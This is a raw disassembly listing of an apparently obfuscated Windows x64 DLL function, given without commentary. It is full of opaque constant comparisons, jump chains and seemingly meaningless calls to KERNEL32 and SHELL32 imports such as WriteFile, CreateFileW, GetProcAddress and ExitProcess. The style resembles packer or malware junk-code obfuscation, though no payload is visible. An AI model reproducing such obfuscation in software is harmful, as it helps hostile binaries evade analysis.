mov qword [rsp + 0x20], r10
mov r8, r10
mov edx, esi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
jmp 0x180003b51
movabs rax, 0x927f512cbc32dfd
cmp rsi, rax
jne 0x18000448f
cmp rbp, 0x21
jb 0x180004902
mov ebx, 0x4f
cmp rbp, rbx
jne 0x180004422
mov r9, r11
mov qword [rsp + 0x20], r11
mov r8d, r10d
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x180003b51
cmp rbp, 0x23
jbe 0x180004902
cmp rbp, 0x52
jae 0x180004442
mov qword [0x18002f028], 0x24
jmp 0x1800045c6
movabs rax, 0xddbf2ff7cdfdfdba
cmp rbp, rax
jne 0x180004469
mov eax, r10d
or eax, 0xa22158c5
add eax, 0x5ccea70b
xor ecx, eax
mov dword [rsp + 0x40], ecx
jmp 0x1800045c6
mov r9d, dword [rsp + 0xc0]
cmp rbp, 0x56
jbe 0x180002e50
cmp rbp, 0x3d
jae 0x1800045c6
mov eax, 0x98f85d5c
jmp 0x18000493f
cmp rsi, 0x3e
je 0x180004909
cmp rsi, 0x3b
jne 0x1800044a5
add r10, 0x64
jmp 0x1800044c0
cmp rsi, 0x64
jb 0x1800045c6
cmp rsi, 0x54
jne 0x1800044ca
imul r10, r10, 0x54
or r10, 0x2c4
mov qword [rsp + 0x50], r10
jmp 0x1800045c6
cmp rsi, 0x34
jb 0x180003b51
cmp rsi, 0x54
jb 0x180004681
cmp rsi, 0x11
jne 0x1800044ff
mov r9, r10
mov qword [rsp + 0x20], r11
mov r8, r11
mov rdx, rbp
mov rcx, r10
call fcn.180004954
jmp 0x180003b51
mov r9d, dword [rsp + 0xc0]
cmp rsi, 0x12
je 0x180002e50
cmp rsi, 6
jmp 0x1800045c0
cmp rdi, 0x3e
je 0x180004681
cmp rdi, 0x59
jae 0x18000453f
mov rax, rdi
xor rax, 0x97
mov qword [0x18002f018], rax
jmp 0x1800045c6
cmp rdi, 0x18
jae 0x18000454e
lea rdi, [rsi - 0x3bb]
jmp 0x1800045c6
cmp rdi, 0xa
jb 0x180004921
cmp rdi, 0x19
je 0x180004681
cmp rdi, 0x1e
jne 0x180004595
mov rdx, rbp
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movsxd r10, eax
movabs rax, 0xb2d0d9ee899ab7b5
mul rsi
mov qword [rsp + 0x50], r10
mov rdi, rdx
shr rdi, 9
and edi, 3
jmp 0x1800045b0
cmp rdi, 4
ja 0x1800045bc
mov r8d, esi
mov edx, r10d
mov rcx, rdi
call fcn.180002e2c
mov esi, eax
mov r10, qword [rsp + 0x50]
movabs r11, 0x97e58e898f85d5c
jmp 0x1800045c6
cmp rdi, 0x32
je 0x180003b51
movabs rbx, 0xde21a0c9a1315835
cmp r10, rbx
jne 0x1800046de
cmp rdi, 0x5c
je 0x1800046cc
cmp rdi, 0x4e
je 0x1800046c0
cmp rdi, 0x31
jae 0x180004605
mov edx, 0xa1315835
mov rcx, rsi
call fcn.1800066b0
jmp 0x180003b51
cmp rdi, 0x41
jb 0x1800046a8
cmp rdi, 0xd
jbe 0x180004699
mov r8d, dword [rsp + 0xc8]
mov r9d, dword [rsp + 0xc0]
cmp rdi, 0x47
jb 0x180002e50
cmp rdi, r11
je 0x180004688
cmp rdi, 0x4d
je 0x180004910
cmp rdi, 0x2a
jbe 0x180002e50
cmp rdi, 0x43
jbe 0x180003b51
cmp rdi, 0x29
jne 0x18000467b
mov r9, rdi
mov qword [rsp + 0x20], rbp
mov r8d, 0xa1315835
mov rdx, rbp
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd r10, eax
jmp 0x1800046de
cmp rdi, 0x46
jae 0x1800046de
mov eax, ebp
jmp 0x18000493f
mov r11d, dword [rsp + 0x40]
xor r11d, dword [rsp + 0x44]
mov dword [rsp + 0x40], r11d
jmp 0x1800046e3
mov edx, ebp
mov rcx, rbp
call fcn.1800066b0
mov r10, rax
jmp 0x1800046de
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
movabs rbp, 0xde21a0c9a1315a90
jmp 0x1800046d9
movabs rdi, 0x987fd6795c9ecf5f
jmp 0x1800046de
mov edx, esi
mov rcx, rsi
call fcn.1800066b0
mov rbp, rax
mov r10, qword [rsp + 0x50]
mov r11d, dword [rsp + 0x40]
lea rcx, [rdi + 0x110]
cmp r10, 0x4c
jb 0x180004809
cmp r10, rbx
jne 0x180004716
xor edx, edx
mov rax, rbp
div rbx
movabs rax, 0xddbf2ff7cdfdfdbe
sub rax, rdx
add qword [rsp + 0xb0], rax
mov rdi, qword [rsp + 0x68]
movabs rax, 0x97e58e898f85e6c
mov rsi, qword [rsp + 0x58]
mov r8d, dword [rsp + 0xb8]
cmp rcx, rax
jne 0x180002ff0
movabs rax, 0x97e58e898f85f3c
xor edx, edx
and rbp, rax
mov ecx, 0xfffffffc
mov eax, 0x30f
div rbp
sub ecx, eax
add r8d, ecx
mov dword [rsp + 0xb8], r8d
jmp 0x180002ff0
movzx r8d, bpl
mov edx, esi
movzx ecx, bpl
call qword [sym.imp.SHELL32.dll_ExtractIconA]
mov r8d, dword [rsp + 0xc8]
mov r9d, dword [rsp + 0xc0]
jmp 0x180002e50
xor r8d, r8d
mov ecx, r11d
xor edx, edx
jmp 0x180004816
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x180004779
movzx ecx, r8w
call fcn.1800066b0
jmp 0x180004779
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x180004779
mov qword [rsp + 0x30], rsi
mov r9, rsi
mov dword [rsp + 0x28], r10d
mov r8d, esi
mov edx, r10d
mov dword [rsp + 0x20], r10d
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180004779
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x180004779
mov r8d, 0xcdfdfddf
mov edx, edi
mov rcx, rbx
jmp 0x180004816
mov r8d, 0xcdfdfddf
mov edx, ebx
jmp 0x180004813
mov edx, edi
mov rcx, r10
jmp 0x1800047a8
mov edx, ecx
jmp 0x1800047a8
mov r8d, r10d
mov edx, r10d
mov rcx, rdi
call fcn.180002e2c
jmp 0x180004779
mov rcx, rsi
jmp 0x18000479c
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8, rsi
mov rdx, rsi
mov rcx, rbx
call fcn.180004954
jmp 0x180004779
mov eax, r9d
jmp 0x18000493f
movzx ecx, r8w
call qword [sym.imp.KERNEL32.dll_ExitThread]
cmp esi, 0x5f
jae 0x1800048b6
mov eax, r11d
jmp 0x18000493f
mov edx, 0x3a
mov dword [rsp + 0x28], 0x3a
mov r9d, edx
mov qword [rsp + 0x20], 0x43
lea ecx, [rdx + 9]
mov r8d, ecx
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
jmp 0x1800048b6
xor edx, edx
lea ecx, [rdx + 0x34]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x1800048b6
cmp rbx, 2
jbe 0x1800048b6
movzx r8d, bpl
mov edx, esi
mov ecx, r11d
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov eax, dword [rsp + 0x40]
jmp 0x18000493f
movzx eax, bpl
jmp 0x18000493f
movzx eax, ax
jmp 0x18000493f
mov eax, 0x1f
jmp 0x18000493f
movzx eax, al
jmp 0x18000493f
mov eax, 0x2e
jmp 0x18000493f
mov eax, esi
jmp 0x18000493f
mov ecx, 0xcdfdfddf
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0xcdfdfddf
jmp 0x18000493f
mov eax, 0x5d
jmp 0x18000493f
mov eax, 0xcdfdfea2
jmp 0x18000493f
mov eax, 0xcbc32dfd
jmp 0x18000493f
mov eax, 0x3e
jmp 0x18000493f
mov eax, 0xa1315835
jmp 0x18000493f
mov ecx, r10d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, r10d
jmp 0x18000493f
mov eax, edi
jmp 0x18000493f
mov eax, edx
jmp 0x18000493f
mov eax, r8d
jmp 0x18000493f
mov eax, 0x2a
jmp 0x18000493f
mov eax, 0x28
add rsp, 0x88
pop rdi
pop rsi
pop rbp
pop rbx
ret